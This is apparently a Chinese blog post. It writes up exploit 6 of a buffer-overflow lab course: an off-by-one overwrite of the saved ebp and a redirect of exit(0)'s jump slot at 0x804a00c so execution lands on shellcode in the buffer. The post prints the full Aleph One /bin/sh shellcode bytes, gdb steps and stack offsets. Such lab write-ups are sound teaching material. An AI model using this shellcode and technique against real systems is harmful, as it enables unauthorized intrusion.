2020-05-11 18:36阅读: 608评论: 0推荐: 0

缓冲区溢出实验 6 exit(0)

实验环境、代码、及准备

 https://www.cnblogs.com/lqerio/p/12870834.html

vul6

 

 

 

Vul6和vul2类似,可以覆盖foo的ebp的一字节。而这里有一个exit(0),需要绕过。绕过思路见3.6exploit6

 

 

shellcode(构造过程)

原理是运行/bin/sh 来得到shell,构造过程是将具有运行/bin/sh的C代码转换成有相同功能的机器码。注意代码中用到  0  的地方改成用 xor  eax,eax,这样可以避免复制字符串时遇到/0 中断。

下面的shellcode长度为45字节(不含/0)

 

/*

 * Aleph One shellcode.

 */

static const char shellcode[] =

  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

 

exploit6

 

由1.6vul6可知,除了覆盖ebp外,还需要绕过exit(0)。

 

Gdb /tmp/vul6

Set args 123131

B foo

C

B bar

 

可知ebp和buf分别的值。其中buf范围为0xbffffd70-fe38,如果修改ebp最后为00,0xbffffe00在buf当中

 

 

而已知p指针在ebp+4,a在ebp+8.

继续调试

Disas foo,可见 0x804858b,调用0x8048980的exit

 

 

Disas  0x8048380。

 

 

可见exit先是jmp到0x804a00c。

所以绕过的思路为:修改p,指向0x804a00c,然后修改0x804a00c的内容为shellcode地址。而shellcode地址其实就是buf地址(payload已经copy了)。

 

上面已知buf地址 0xbffffd70,ebp0xbffffe38,由vul2可知ebp修改为0xbfffef00后,p和a相对于ebp的位置不变。于是修改ebp-[0-3]就相当于修改p,ebp-[4-7]的位置就修改了a的值。

然后程序foo正常执行,exit->0x804a00c->a->shellcode。

 

这里ebp修改后距离buf 144字节,p的位置为相对140-143字节,a为139-136字节

 

注意和vul2的区别在于p,a相对ebp的位置是在低地址

Payload:

 

 

这里发现刚刚调试的时候用的payload是”hi there”,改为201字节的payload后有所更改

 

 

修改相应地址即可

 

 

 

posted @   Erio  阅读(608)  评论(0编辑  收藏  举报
编辑推荐:
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· C#/.NET/.NET Core优秀项目和框架2025年2月简报
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 【杭电多校比赛记录】2025“钉耙编程”中国大学生算法设计春季联赛(1)
点击右上角即可分享
微信分享提示
💬
评论
📌
收藏
💗
关注
👍
推荐
🚀
回顶
收起